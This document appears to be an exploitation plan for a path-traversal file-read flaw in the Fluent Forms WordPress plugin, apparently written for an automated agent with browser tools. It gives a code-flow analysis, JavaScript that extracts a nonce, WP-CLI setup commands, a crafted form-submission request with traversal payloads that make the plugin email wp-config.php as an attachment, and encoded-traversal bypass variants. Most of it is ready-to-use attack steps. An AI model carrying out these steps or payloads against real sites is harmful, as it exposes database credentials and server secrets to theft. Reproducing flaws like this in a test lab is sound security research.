Exploitation Research Plan - CVE-2026-6344

1. Vulnerability Summary

The Fluent Forms plugin (versions <= 6.2.1) contains an arbitrary file read vulnerability. The vulnerability exists in the getAttachments() method of the EmailNotificationActions class. When a form is configured to attach files from a "File Upload" field to an email notification, the plugin resolves the user-supplied URL for that field into a local filesystem path.

Because the plugin uses a weak strpos() check to ensure the URL belongs to the uploads directory and fails to properly resolve traversal sequences (like ../) before the path is passed to file_exists() and subsequently wp_mail(), an attacker (specifically an Administrator who can configure form notifications) can specify a crafted URL that resolves to any file readable by the web server (e.g., wp-config.php).

2. Attack Vector Analysis

• Endpoint: POST /wp-json/fluentform/v1/form-submit (Submission Handler)
• Alternative Endpoint: admin-ajax.php?action=fluentform_submit (depending on configuration)
• Vulnerable Parameter: The field name corresponding to the "File Upload" component (e.g., file_upload).
• Authentication:
  • Setup: Authenticated (Administrator or user with fluentform_forms_manager capability) is required to configure the form notifications to include attachments.
  • Trigger: Unauthenticated (once the form is configured, any user submitting the form can trigger the attachment logic).
• Preconditions:
  1. A form must exist with a "File Upload" field.
  2. An Email Notification must be enabled for that form.
  3. The notification must be configured to include the "File Upload" field as an attachment.

3. Code Flow

1. Submission: A user submits a form via SubmissionHandlerController@submit.
2. Notification Trigger: The plugin processes the submission and triggers defined actions, including EmailNotificationActions.
3. Attachment Processing: EmailNotificationActions::getAttachments() iterates through configured attachments.
4. URL to Path Resolution (The Sink):
   • It retrieves the value of the file upload field (a URL).
   • It checks if the URL starts with the Fluent Forms upload base URL using strpos($url, $upload_url) === 0.
   • If it matches, it replaces the URL base with the absolute filesystem path: $path = str_replace($upload_url, $upload_path, $url).
   • Traversal: If the URL is https://site.com/wp-content/uploads/fluentform/../../wp-config.php, the prefix check passes, and the resulting path becomes /var/www/html/wp-content/uploads/fluentform/../../wp-config.php.
5. Exfiltration: The resolved path is added to the $attachments array and passed to wp_mail(), which reads the file and attaches it to the outbound email.

4. Nonce Acquisition Strategy

The form submission endpoint requires a nonce for security verification, typically localized in the fluent_forms_global_var object.

1. Identify Form Page: Find a page where the target Fluent Form is embedded (or create one using [fluentform id='FORM_ID']).
2. Browser Navigation: Use browser_navigate to load the page.
3. Nonce Extraction:

   // Use browser_eval to extract the nonce
   const nonce = window.fluent_forms_global_var?.fluent_forms_admin_nonce || 
                 window.fluent_forms_global_var?.nonce;
   

4. Action String: The nonce is usually generated for the action fluent_forms_admin_nonce or similar, depending on the version.

5. Exploitation Strategy

Step 1: Admin Setup (Form Configuration)

Use WP-CLI to create a form and configure the notification to ensure the environment is ready.

1. Create a Form:

   wp eval "
   \$form_id = (new FluentForm\App\Models\Form)->insertGetId([
       'title' => 'Exploit Form',
       'form_fields' => json_encode([
           'fields' => [
               [
                   'element' => 'input_file',
                   'attributes' => ['name' => 'exploit_file', 'type' => 'file'],
                   'settings' => ['label' => 'File', 'admin_field_label' => 'exploit_file']
               ]
           ]
       ])
   ]);
   echo \$form_id;
   "
   

2. Configure Notification:
   Enable an email notification that attaches the exploit_file field.

   wp eval "
   \$notification = [
       [
           'name' => 'Admin Notification',
           'enabled' => true,
           'sendTo' => ['type' => 'email', 'email' => '{wp.admin_email}'],
           'subject' => 'File Read Exploit',
           'message' => '{all_data}',
           'attachments' => ['exploit_file']
       ]
   ];
   FluentForm\App\Helpers\Helper::setFormMeta(FORM_ID_HERE, 'notifications', \$notification);
   "
   

Step 2: Trigger Exploit (Submission)

Submit the form with the traversal URL. We need to determine the base upload URL first.

1. Determine Upload URL:
   Usually http://<domain>/wp-content/uploads/fluentform.
2. Send Submission Request:

   POST /wp-json/fluentform/v1/form-submit
   Content-Type: application/x-www-form-urlencoded
   
   form_id=FORM_ID_HERE&
   _fluent_form_nonce=EXTRACTED_NONCE&
   exploit_file[]=http://localhost/wp-content/uploads/fluentform/../../../../wp-config.php
   

   Note: The field value might need to be an array or a specific JSON string depending on how the plugin stores multi-file uploads.

Step 3: Verification

Since the file is attached to an email, check the WordPress mail log or intercept wp_mail.

1. Check Mail Log: Use wp-cli to check for any generated mail if a logging plugin is installed (e.g., wp mail-logging list).
2. Alternative: Check the fluentform_submission_meta or logs to see if the attachment was processed.

6. Test Data Setup

1. Target File: Ensure wp-config.php exists (standard).
2. Shortcode Page: Create a page to extract the nonce.

   wp post create --post_type=page --post_title="Contact" --post_status=publish --post_content="[fluentform id='1']"
   

3. SMTP: Configure a dummy SMTP or mail catcher (like MailHog) in the test environment to receive the attachment.

7. Expected Results

• The form-submit request returns a 200 OK or 302 success message.
• The server's mailer (e.g., wp_mail) is called with an attachment path pointing to /var/www/html/wp-config.php.
• The received email contains wp-config.php as an attachment.

8. Verification Steps

1. Intercept wp_mail:
   If no mail catcher is available, use WP-CLI to check the submission status:

   wp db query "SELECT * FROM wp_fluentform_submissions ORDER BY id DESC LIMIT 1;"
   

2. Review Submission Meta:

   wp db query "SELECT * FROM wp_fluentform_submission_meta WHERE meta_key = 'exploit_file';"
   

9. Alternative Approaches

• Bypassing Prefix Check: If strpos is strict, try using different protocol wrappers or port numbers if the plugin fails to normalize the host.
• Local Path Injection: If the plugin accepts local paths directly in certain contexts (though unlikely here), try bypassing the URL check entirely by providing a path instead of a URL.
• Encoded Traversal: Try .\..\ sequences as mentioned in the vulnerability description to bypass wp_normalize_path().
  • Payload: http://localhost/wp-content/uploads/fluentform/.\..\.\..\.\..\wp-config.php